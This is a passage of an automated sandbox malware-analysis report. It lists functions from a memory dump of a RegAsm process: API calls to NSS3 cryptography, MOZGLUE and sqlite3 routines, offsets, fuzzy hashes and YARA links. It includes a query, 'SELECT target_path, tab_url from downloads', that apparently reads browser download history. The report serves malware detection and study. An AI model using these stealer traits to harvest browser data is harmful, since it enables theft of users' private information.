Downloads, xrefs: 00409328

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: cb57f4a764e669b73d5b51ca3b6fcc4a1ad14003daf841302cbbc707677e7722
Instruction ID: eae3ab15f942f3a6d687bb56367076a16d2565de1c99799075523b18d7d4d790
Opcode Fuzzy Hash: cb57f4a764e669b73d5b51ca3b6fcc4a1ad14003daf841302cbbc707677e7722
Instruction Fuzzy Hash: 02712071A40119AFCF01FFA6DE465DD7775AF04309F510026F500B70E1DBB8AE898B99

Function 6C206D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C1F3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C1F3C66
Part of subcall function 6C1F3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C1F3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C206DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C206DE5

Part of subcall function 6C208010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C20807D
Part of subcall function 6C208010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2080D1
Part of subcall function 6C208010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C20810E
Part of subcall function 6C208010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C208140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C206E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C206E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C206EC2

Part of subcall function 6C207D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C207E27
Part of subcall function 6C207D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C207E67

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: a8062800e226b7c8460ca546409dccf4d4aebff45dff2bae920b5b2a674b90ae
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: C851A0716083559FD724CF25C450BAABBE1BF88718F04891EECA987741E334E918CF92

Function 6C25EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C25EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C25EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C25EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C25EEEB
free.MOZGLUE(?), ref: 6C25EEF6

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: a823419992042639b16df5455742561434b1bf0e89c0aa3dc6588c52b2dc13cb
Instruction ID: 432c38a235ae74e9ce0e49ce02d6b2075bf14a647880cfbbf1dc43800e01c182
Opcode Fuzzy Hash: a823419992042639b16df5455742561434b1bf0e89c0aa3dc6588c52b2dc13cb
Instruction Fuzzy Hash: E5312B71B102199BD7209F28CC44B6B7BF8FB46325F540529EC5A87A50D735E924CBE2

Function 6C26AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C263FFF,00000000,?,?,?,?,?,6C261A1C,00000000,00000000), ref: 6C26ADA7

Part of subcall function 6C2C14C0: TlsGetValue.KERNEL32 ref: 6C2C14E0
Part of subcall function 6C2C14C0: EnterCriticalSection.KERNEL32 ref: 6C2C14F5
Part of subcall function 6C2C14C0: PR_Unlock.NSS3 ref: 6C2C150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C263FFF,00000000,?,?,?,?,?,6C261A1C,00000000,00000000), ref: 6C26ADB4

Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C10F3
Part of subcall function 6C2C10C0: EnterCriticalSection.KERNEL32(?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C110C
Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1141
Part of subcall function 6C2C10C0: PR_Unlock.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1182
Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C263FFF,?,?,?,?,6C263FFF,00000000,?,?,?,?,?,6C261A1C,00000000), ref: 6C26ADD5

Part of subcall function 6C2BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C2B8D2D,?,00000000,?), ref: 6C2BFB85
Part of subcall function 6C2BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C2BFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C3894B0,?,?,?,?,?,?,?,?,6C263FFF,00000000,?), ref: 6C26ADEC

Part of subcall function 6C2BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3918D0,?), ref: 6C2BB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C263FFF), ref: 6C26AE3C

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 29a926609b483aa8b0cf56a0a3ba48cb2524b7dc2d46c956b78811f22eae23e1
Instruction ID: ccc83239dce94028cb40308469ddcc20f04251ddcb16fd875ea2ee8c26a2cebe
Opcode Fuzzy Hash: 29a926609b483aa8b0cf56a0a3ba48cb2524b7dc2d46c956b78811f22eae23e1
Instruction Fuzzy Hash: 57115961F0031D9BE7109A669C41BBF73A89F5514DF004238FC5596B41FB20E99886F3

Function 004256E4 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 004256F2
_free.LIBCMT ref: 00425705

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction ID: ab44e3d4aabf33480464c14823dd8638a603b7be60c18ad61e223350db0a4e2c
Opcode Fuzzy Hash: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction Fuzzy Hash: 1E11C832740A31EBCF216F75BC0465A37A49FC07A5FA4493BF84986251DA3CC941865C

Function 6C28CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C2A1E10: TlsGetValue.KERNEL32 ref: 6C2A1E36
Part of subcall function 6C2A1E10: EnterCriticalSection.KERNEL32(?,?,?,6C27B1EE,2404110F,?,?), ref: 6C2A1E4B
Part of subcall function 6C2A1E10: PR_Unlock.NSS3 ref: 6C2A1E76

free.MOZGLUE(?,6C28D079,00000000,00000001), ref: 6C28CDA5
PK11_FreeSymKey.NSS3(?,6C28D079,00000000,00000001), ref: 6C28CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C28D079,00000000,00000001), ref: 6C28CDCF
DeleteCriticalSection.KERNEL32(?,6C28D079,00000000,00000001), ref: 6C28CDE2
free.MOZGLUE(?), ref: 6C28CDE9

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: e57f80b3310bb460b95b9af3bc46b01780dc0472ca4fdd0c1b960ab86b451795
Instruction ID: 0b9e7668594d161515e81fd4eb1783209ff3eec6e036b62063a215d3069774b8
Opcode Fuzzy Hash: e57f80b3310bb460b95b9af3bc46b01780dc0472ca4fdd0c1b960ab86b451795
Instruction Fuzzy Hash: 3811C6BAB0211AABDB00AEA5EC44996B72CFF0466A7100221FD0997E41E731F438C7E1

Function 6C2F2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C2F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C2F5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2F2CEC

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

PR_EnterMonitor.NSS3(?), ref: 6C2F2D02
PR_EnterMonitor.NSS3(?), ref: 6C2F2D1F
PR_ExitMonitor.NSS3(?), ref: 6C2F2D42
PR_ExitMonitor.NSS3(?), ref: 6C2F2D5B

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: de100a5e747abe003538a0b919511da4dbd7623780bc769ffa2b5a8ecfdf8632
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 5801A5F5A5034C9BEB319E25FC40AC7F7A9EB46718F004525ECA986710D636F4168AA3

Function 6C2F2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C2F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C2F5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2F2D9C

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

PR_EnterMonitor.NSS3(?), ref: 6C2F2DB2
PR_EnterMonitor.NSS3(?), ref: 6C2F2DCF
PR_ExitMonitor.NSS3(?), ref: 6C2F2DF2
PR_ExitMonitor.NSS3(?), ref: 6C2F2E0B

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 6f5187652fc50fbdcdc5be327d1661f31a23793ada6b3db84c01ad4c0f1f8386
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 5F01A5F5A5024C9BEB309E25FC01FC7F7A5EB52318F004435ECA986B10D636F4168AA3

Function 6C28AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C273090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C28AE42), ref: 6C2730AA
Part of subcall function 6C273090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2730C7
Part of subcall function 6C273090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C2730E5
Part of subcall function 6C273090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C273116
Part of subcall function 6C273090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C27312B
Part of subcall function 6C273090: PK11_DestroyObject.NSS3(?,?), ref: 6C273154
Part of subcall function 6C273090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C27317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C2699FF,?,?,?,?,?,?,?,?,?,6C262D6B,?), ref: 6C28AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C2699FF,?,?,?,?,?,?,?,?,?,6C262D6B,?), ref: 6C28AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C262D6B,?,?,00000000), ref: 6C28AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C262D6B,?,?,00000000), ref: 6C28AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C262D6B,?,?), ref: 6C28AEA3

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 1a9c08abc4b9060e5cd83840bd47fb4edd1de94270fc416ee5383e5b7fd58974
Instruction ID: 7b6a50f36cafe43fb61a6d76963a861ead8a8e32d6a16c911b3adf37f830b7b5
Opcode Fuzzy Hash: 1a9c08abc4b9060e5cd83840bd47fb4edd1de94270fc416ee5383e5b7fd58974
Instruction Fuzzy Hash: 3001F4BAB12018D7E701912CACC5EAB31588B9765DF080831FE06D7BC1FE21E91D42B3

Function 6C37ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C37A6D8), ref: 6C37AE0D
free.MOZGLUE(?), ref: 6C37AE14
DeleteCriticalSection.KERNEL32(6C37A6D8), ref: 6C37AE36
free.MOZGLUE(?), ref: 6C37AE3D
free.MOZGLUE(00000000,00000000,?,?,6C37A6D8), ref: 6C37AE47

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 0ae8d4ba1b6509eefa8cd72d086c538c2f1110bc6096e7d55f30e8c4a9ae3d5f
Instruction ID: b9c177f0b3a45aa30e4da462fbf8d13cd3ef443d20a5803594284ef81d1e1f0d
Opcode Fuzzy Hash: 0ae8d4ba1b6509eefa8cd72d086c538c2f1110bc6096e7d55f30e8c4a9ae3d5f
Instruction Fuzzy Hash: C5F096B5201A01A7CA20DF68E808957B77CBF867757140328F52A93940D736E115CBE9

Function 004266EA Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004266F6

Part of subcall function 00424924: __getptd_noexit.LIBCMT ref: 00424927
Part of subcall function 00424924: __amsg_exit.LIBCMT ref: 00424934

__getptd.LIBCMT ref: 0042670D
__amsg_exit.LIBCMT ref: 0042671B
__lock.LIBCMT ref: 0042672B
__updatetlocinfoEx_nolock.LIBCMT ref: 0042673F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 5c7350e25c4780c59a05a8c1f232e852279cca9f3fe445422cb6956616db6f8f
Instruction ID: 31caff8b8633fda53140493b80cc4ad61b0366fa367c911eede4bfbe2cff077c
Opcode Fuzzy Hash: 5c7350e25c4780c59a05a8c1f232e852279cca9f3fe445422cb6956616db6f8f
Instruction Fuzzy Hash: 92F0C272F003309AD721BB767802B5E76A0AF4032CF96410FE400972C2CF2C18408A4D

Function 00410077 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041009A

Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EBDD
Part of subcall function 0042EBC8: __CxxThrowException@8.LIBCMT ref: 0042EBF2
Part of subcall function 0042EBC8: std::exception::exception.LIBCMT ref: 0042EC03

__EH_prolog3_catch.LIBCMT ref: 00410139
std::_Xinvalid_argument.LIBCPMT ref: 0041014D

Strings

vector<T> too long, xrefs: 00410095, 00410148

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: 21e5a1159b0dafd69529a8bd10b546380f0f5929466dda2eaa896553c933d910
Instruction ID: c8ffca36d5deb6f4fb7ef4ca154eb75332bfef11c7de7ed005bc1a54b2e7049a
Opcode Fuzzy Hash: 21e5a1159b0dafd69529a8bd10b546380f0f5929466dda2eaa896553c933d910
Instruction Fuzzy Hash: 8031D632B503269FDB08EF69AC45AED77E29705311F51106FE520E7290D6BE9EC08B48

Function 6C1F6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C1F6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1F6D20
database corruption, xrefs: 6C1F6D2A
%s at line %d of [%.10s], xrefs: 6C1F6D2F

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
